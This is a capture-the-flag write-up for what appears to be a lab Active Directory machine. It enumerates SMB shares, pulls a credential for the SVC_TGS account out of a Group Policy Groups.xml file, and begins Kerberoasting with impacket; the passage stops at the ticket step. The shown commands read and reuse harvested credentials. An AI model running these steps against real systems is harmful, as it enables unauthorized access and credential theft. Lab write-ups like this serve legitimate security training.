Many ports are open so let’s focus on the important ones only:
kerberos on 88 , netbios-ssn on 139 , ldap on 389,3268
SMB Enumeration:
As we have netbios-ssn open on port 139 let’s run smbmap and see if their shared files..
smbmap -H 10.10.10.100
see! we can acces Replication..
smbclient:
smbclient //10.10.10.100/Replication
,and there is no password just press enter
a lot of interesting files, you can get only one file at a time if you want using get filename
I’ll get the whole directory locally:
smbget -R smb://10.10.10.100/Replication
inside /active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups » file named (Groups.xml) includes username and hashed password
or just using grep -r “password”
-r for recursive will search the files inside the folder for any password word..
and we got the password:GPPstillStandingStrong2k18
Getting User:
Now as we know the user credentials SVC_TGS:GPPstillStandingStrong2k18
To know user privileges:
$ smbmap -u SVC_TGS -p GPPstillStandingStrong2k18 -H 10.10.10.100
Logging to Users folder:
$ smbclient //10.10.10.100/Users -U SVC_TGS
getting user.txt locally as before:
Getting Administrator:
now we need to get the admin credentials. From the nmap scan we saw that kerberos is running at port 88
Kerberoasting is a post-exploitation attack that extracts service account credential hashes from Active Directory for offline cracking. Kerberoasting is a common, pervasive attack that exploits a combination of weak encryption and poor service account password hygiene.
To read more about kerveroasting check these articles 1, 2, 3
After adding the hostname to our /etc/hosts
Getting ticket:
Will use this tool (GetUserSPNs) from impacket